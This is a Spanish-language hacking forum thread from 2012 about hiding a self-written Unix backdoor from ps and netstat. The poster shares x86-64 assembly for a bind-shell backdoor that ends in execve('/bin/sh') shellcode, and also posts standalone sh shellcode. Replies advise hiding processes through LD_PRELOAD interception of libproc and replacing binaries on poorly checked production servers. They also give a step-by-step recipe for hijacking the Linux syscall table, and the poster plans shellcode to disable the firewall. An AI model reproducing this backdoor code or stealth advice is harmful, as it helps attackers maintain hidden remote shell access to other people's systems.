Ocultar procesos

Iniciado por cpu2, 15 Noviembre 2012, 21:12 PM

0 Miembros y 1 Visitante están viendo este tema.

cpu2

Hola

Voy al grano.

Tengo algo parecido a una backdoor, como un netcat, pero es "muy básica".

Cuando miro las conexiones activas hay aparece, y en ps también, la oculto cambiando el nombre por un proceso común, pero es muy cutre no?

Hay una práctica llamada "Hooking" si no me equivoco, pero todo es para windows, alguien puede echarme un cable para un unix-like?

Un saludo.

P.D: Muestro el código si alguien quiere.

Foxy Rider

CitarCuando miro las conexiones activas hay aparece, y en ps también, la oculto cambiando el nombre por un proceso común, pero es muy cutre no?

¿Toqueteando argv? si, ponele que es muy cutre ... pero hay gente que pisa el palito

CitarHay una práctica llamada "Hooking" si no me equivoco, pero todo es para windows, alguien puede echarme un cable para un unix-like?

http://www.linuxforu.com/2011/08/lets-hook-a-library-function/
http://stackoverflow.com/questions/2103315/linux-kernel-system-call-hooking-example

(Algo como lo segundo te interesaría en realidad, pero ahí ya hablamos de rootkit ... de una manera u otra necesitás ser root y los códigos son poco felices)

CitarP.D: Muestro el código si alguien quiere.

Sería genial ... se te puede corregir y enseñar mucho más si mostrás el código.

Saludos.


cpu2

Gracias por contestar pensaba que nadie lo haría.

Cita de: Alex Mtx en 25 Noviembre 2012, 04:15 AM
¿Toqueteando argv? si, ponele que es muy cutre ... pero hay gente que pisa el palito

Bueno seguro que los usuarios de Mac OS X caen  xD.

Cita de: Alex Mtx en 25 Noviembre 2012, 04:15 AM

(Algo como lo segundo te interesaría en realidad, pero ahí ya hablamos de rootkit ... de una manera u otra necesitás ser root y los códigos son poco felices)


Hace dos dias que estoy con esto algo de esos códigos entiendo, puede que sea por que los dos somos poco felices  :P.

¿Hay alguna base por donde pueda empezar con los rootkit?

Cita de: Alex Mtx en 25 Noviembre 2012, 04:15 AM

Sería genial ... se te puede corregir y enseñar mucho más si mostrás el código.


Código (asm) [Seleccionar]
.section .data
.equ puerto, 10

sockaddr_in:
sin_len:
   .byte 0
sin_family:
   .byte 0
sin_port:
   .word 0
sin_addr:
   .long 0
sin_zero:
   .byte 0,0,0,0,0,0,0,0

in_addr:
s_addr:
.long 0

sockdes:
.long 0
lonsock:
.long 0

.section .text
.globl _start
_start:

   leaq sockaddr_in, %r8

   movq $97, %rax       
   movq $2, %rdi
   movq $1, %rsi
   movq $6, %rdx
   int $0x80                 
   movq %rax, sockdes       

   movq $2, sin_family   
   movq $in_addr, sin_addr   
   movq $puerto, sin_port       

   movq $104, %rax         
   movq sockdes, %rdi
   movq %r8, %rsi
   movq $16, %rdx
   int $0x80                   

   pushq $1
   pushq sockdes
   movq $106, %rax     
   int $0x80                   
   addq $8, %rsp

   movq $30, %rax       
   movq sockdes, %rdi
   movq %r8, %rsi
   movq $lonsock, %rdx
   int $0x80                   

   xorq %rax, %rax           
   movq $1, %rax               
   int $0x80


No tiene ninguna función podría crear alguna con execve pero bueno, conecto con netcat.

Estoy pensando en meterle alguna shellcode, por ejemplo que desactive pf por que no me deja hacer nada xD, tambien que pueda cifrar la conexión o cosas así, a ver si puedo hacerlo.

Un saludo.

P.D: El código es muy básico, me diste una solución para ps, pero que pasa con netstat?

0xDani

Para iniciarte con rootkits:
http://www.govannom.org/e-zines/7a69ezine/12/4.txt

Ademas en ese texto se interceptan las llamadas al sistema, creo que es lo que buscabas.

Creo que tenia mas textos por ahi, si encuentro alguno te lo paso.

Seguro que los usuarios de Mac OS X caen xDD

Saludos!
I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM

Foxy Rider

CitarBueno seguro que los usuarios de Mac OS X caen  xD.



Citar¿Hay alguna base por donde pueda empezar con los rootkit?

¿En modo kernel? Tendrías que arrancar con un libro sobre desarrollo sobre el kernel .... y acá viene la mala noticia: no es fácil (dependiendo de qué facilidades y qué uses del kernel).
la KBI (la interfaz binaria del kernel) de Linux es bastane inestable y esto está documentado en el tree del kernel : Documentation/stable_api_nonsense.txt
En la práctica tenés que apuntar a una versión del kernel y no esperar en un 100% que funcione en otras ...

Podés de última tomar un acercamiento más tímido y seguir jugando en modo usuario ... podés inspeccionar qué software querés engañar e interceptar librerías como libproc.so por un mecanismo  LD_PRELOAD o moviendo el enlace simbólico de esta librería por ld (y chequeando constantemente que el gestor de paquete no te lo cambie)

Podés también reemplazar binarios; son formas muy cutres que quizá en un desktop no duran mucho por la naturaleza de constante actualización que tiene (excepto sistemas oldstable como debian), pero te aseguro que en algún servidor de producción donde quien esté a cargo no tenga la viveza de chequear el sistema base contra checksums o use algo como los snapshots de ZFS ...  vas a estar bien

Tenés MUCHAS posibilidades siendo root

CitarNo tiene ninguna función podría crear alguna con execve pero bueno, conecto con netcat.

¿Probaste armarla en C? En Assembly te vas a volver loco incluso para algo tan chiquito como eso si no estás acostumbrado a desarrollar sobre ese lenguaje.

Nota: Y perdés portabilidad

CitarP.D: El código es muy básico, me diste una solución para ps, pero que pasa con netstat?

Misma respuesta que para ps :D

CitarAdemas en ese texto se interceptan las llamadas al sistema, creo que es lo que buscabas.

Si, pero que mire el link que le dejé de stackoverflow para complementar ... por que la tabla de syscalls se la marcó como readonly

Saludos.

cpu2

Gracias a los dos, voy a leer tranquilo toda esa información.

Un saludo.


cpu2

Entendí la función fork.

De los enlaces de los rootkit no tengo las librerias que aparecen en los códigos son para linux.

Encontré esto para BSD.

http://www.thc.org/root/docs/loadable_kernel_modules/openbsd-lkm.html

El último código me parece interesante.

Alex que te parecen estos libros?

http://www.amazon.com/Designing-BSD-Rootkits-Introduction-Hacking/dp/1593271425

http://books.google.es/books/about/The_Design_of_the_Unix_Operating_System.html?id=eWRCPgAACAAJ&redir_esc=y

Citar¿Probaste armarla en C? En Assembly te vas a volver loco incluso para algo tan chiquito como eso si no estás acostumbrado a desarrollar sobre ese lenguaje.

Nota: Y perdés portabilidad

No estoy acostumbrado, tampoco tengo muchos conocimientos en ASM, pero C me parecio muy lioso al menos a mi cuando llegué al tema de los arreglos, y que ASM es mucho más directo que C, entiendo mejor el disassembler que el código de C en algunos casos xD.

En lo de la portabilidad tienes toda la razón, ya veré lo que pasa cuando tenga que hacer códigos más complejos que el de hay arriba.

El código de stackoverflow por lo que entiendo quiere "hookear" la syscall open la 5.

Pero no entiendo una vez que consigues la dirección que haces con ella?

Un saludo.

Foxy Rider

#7
CitarEncontré esto para BSD.

Tendrás que pensar para cual de los *BSD querés desarrollar ... ya que FreeBSD, OpenBSD, DragonflyBSD, NetBSD y demás comparten un pasado en común pero son proyectos y sistemas diferentes.

Citarhttp://www.amazon.com/Designing-BSD-Rootkits-Introduction-Hacking/dp/1593271425

Escuché muy buenos reviews de ese libro, pero no lo leí ... lo que te aconsejaría es que lo bajes de algún lado, pispees si tiene lo que necesitás y después ves si te conseguís el de papel o no.

Citarhttp://books.google.es/books/about/The_Design_of_the_Unix_Operating_System.html?id=eWRCPgAACAAJ&redir_esc=y

Ese libro es algo viejito y no tiene en cuenta nuevas revisiones a POSIX sin contar cómo fueron mutando los diferentes sistemas Unix-Like como Linux (que pffff, una distribución de hoy en día es algo que vagamente resembla lo que es un verdadero unix)

CitarNo estoy acostumbrado, tampoco tengo muchos conocimientos en ASM, pero C me parecio muy lioso al menos a mi cuando llegué al tema de los arreglos, y que ASM es mucho más directo que C, entiendo mejor el disassembler que el código de C en algunos casos xD.

Si, al ser un lenguaje más simplificado en sintaxis y formateo se hace más rápido de escribir. El problema es mantenerlo y la portabilidad, sobre todo la portabilidad.
Si escribís assembly para una arquitectura te olvidás del resto ... si escribís un C medianamente limpio compilás para cualquier otra arquitectura (x86/x86_64/"x32"/arm/sparc/mips/blah ), para eso se inventó C como pilar de Unix !! x'3

CitarEn lo de la portabilidad tienes toda la razón, ya veré lo que pasa cuando tenga que hacer códigos más complejos que el de hay arriba.

Pensá que varios routers son de arquitectura arm o mips (el mío es un linux mips). Pero depende mucho de a qué "audiencia" apuntes, claro !  ;)

CitarEl código de stackoverflow por lo que entiendo quiere "hookear" la syscall open la 5.
Correcto, ése es el número de la syscall (no te preocupes, hay un .h que incluye todos los defines así no tenés que andar recordando numeros :D )

CitarPero no entiendo una vez que consigues la dirección que haces con ella?

1) Obtenés la dirección a la "tabla" (es un vector) de syscalls
2) Le cambiás la protección de readonly a readwrite con change_page_attr()
3) Ya pudiendo escribir, cambiás la dirección de la syscall que te interesa (usando el número de syscall -que es la posición en el vector- que sacás de un define por comodidad/portabilidad ) por tu propia función.
4) Profit.

Saludos.

P.S → Cuando se trata del código de Linux, toco de oído por lo poco que programé hace algún tiempo ... conste x'D

P.S 2 → Perdón por la demora :c ...

cpu2

Cita de: Alex Mtx en 17 Diciembre 2012, 09:19 AM
Tendrás que pensar para cual de los *BSD querés desarrollar ... ya que FreeBSD, OpenBSD, DragonflyBSD, NetBSD y demás comparten un pasado en común pero son proyectos y sistemas diferentes.

Sí, solo funciona en OpenBSD, ya lo probé en un Mac OS X y nada no puede ni ejecutar el binario, que desilusión xD.

Cita de: Alex Mtx en 17 Diciembre 2012, 09:19 AM
Tendrás que pensar para cual de los *BSD querés desarrollar ... ya que FreeBSD, OpenBSD, DragonflyBSD, NetBSD y demás comparten un pasado en común pero son proyectos y sistemas diferentes.

Escuché muy buenos reviews de ese libro, pero no lo leí ... lo que te aconsejaría es que lo bajes de algún lado, pispees si tiene lo que necesitás y después ves si te conseguís el de papel o no.

Es lo que voy hacer, odio leer un libro en un ordenador.

Cita de: Alex Mtx en 17 Diciembre 2012, 09:19 AM
Si, al ser un lenguaje más simplificado en sintaxis y formateo se hace más rápido de escribir. El problema es mantenerlo y la portabilidad, sobre todo la portabilidad.
Si escribís assembly para una arquitectura te olvidás del resto ... si escribís un C medianamente limpio compilás para cualquier otra arquitectura (x86/x86_64/"x32"/arm/sparc/mips/blah ), para eso se inventó C como pilar de Unix !! x'3

+1

Cita de: Alex Mtx en 17 Diciembre 2012, 09:19 AM
Pensá que varios routers son de arquitectura arm o mips (el mío es un linux mips). Pero depende mucho de a qué "audiencia" apuntes, claro !  ;)
Correcto, ése es el número de la syscall (no te preocupes, hay un .h que incluye todos los defines así no tenés que andar recordando numeros :D )

Yo las miro en syscall.h.

Cita de: Alex Mtx en 17 Diciembre 2012, 09:19 AM
1) Obtenés la dirección a la "tabla" (es un vector) de syscalls
2) Le cambiás la protección de readonly a readwrite con change_page_attr()
3) Ya pudiendo escribir, cambiás la dirección de la syscall que te interesa (usando el número de syscall -que es la posición en el vector- que sacás de un define por comodidad/portabilidad ) por tu propia función.
4) Profit.

Gracias por la explicación.

Bueno de lo que iba hacerle ala backdoor, ya esta echo menos lo de cifrar el trafico y lo de pf esta casi, la comparto es lo mínimo que puedo hacer.

Código (asm) [Seleccionar]
.section .text
.globl _start
_start:

movb $97, %al       
movq $2, %rdi
movq $1, %rsi
movq $6, %rdx
int $0x80                 
movq %rax, %r12     

push $0x02
movq $104, %rax         
movq %r12, %rdi
movq %rsp,%rsi
mov $16, %rdx
int $0x80                   

movq %r12, %rdi
movq $0x05, %rsi
movq $106, %rax     
int $0x80                   
movq %rax, %r11

xorq %rax, %rax
pushq %rax
movq $30, %rax       
movq %r12, %rdi
movq %r8, %rsi
movq %rsp, %rdx
int $0x80                   
movq %rax, %r11

xorq %rsi, %rsi
movq %r11, %rdi
movb $90, %al
int $0x80                   

incq %rsi
movq %r11, %rdi
movb $90, %al
int $0x80                   

xorq %rax, %rax
xorq %rsi, %rsi
xorq %rdi, %rdi
xorq %rdx, %rdx

.byte 0x50,0x48,0xb8,0x2f,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x50,0x48,0x89,0xe7,0x48,0x31,0xc0,0x50,0x48,0x89,0xe6,0xb0,0x3b,0xcd,0x80


La shellcode de sh.

Código (asm) [Seleccionar]
.section .text
.globl _start
_start:

pushq %rax
movq $0x68732f6e69622f2f, %rax
pushq %rax
movq %rsp, %rdi
xorq %rax, %rax
pushq %rax
movq %rsp, %rsi
movb $0x3b, %al
int $0x80


Elimine la .section data porque así pesa menos, antes heran unos 2.1K, ahora son unos 1.7K peso muy bajo xD, seguro que en C pesa cinco veces más.

Por cierto al hacer eso tengo el siguiente problema, la estructura sockaddr_in la intento hacer así:

Código (asm) [Seleccionar]

push $0x1226
push $0x0100007f  # 127.0.0.1
push $0x2
movq %rsp, %rsi


Solamente copia 0x2 AF_INET, la dirección y el puerto nada. Con la shellcode de pf me pasa lo mismo, solo copia el primer push.

Un saludo.

P.D: El tema lo doy por resuelto, si sabés y sí quieres, contesta mi última pregunta.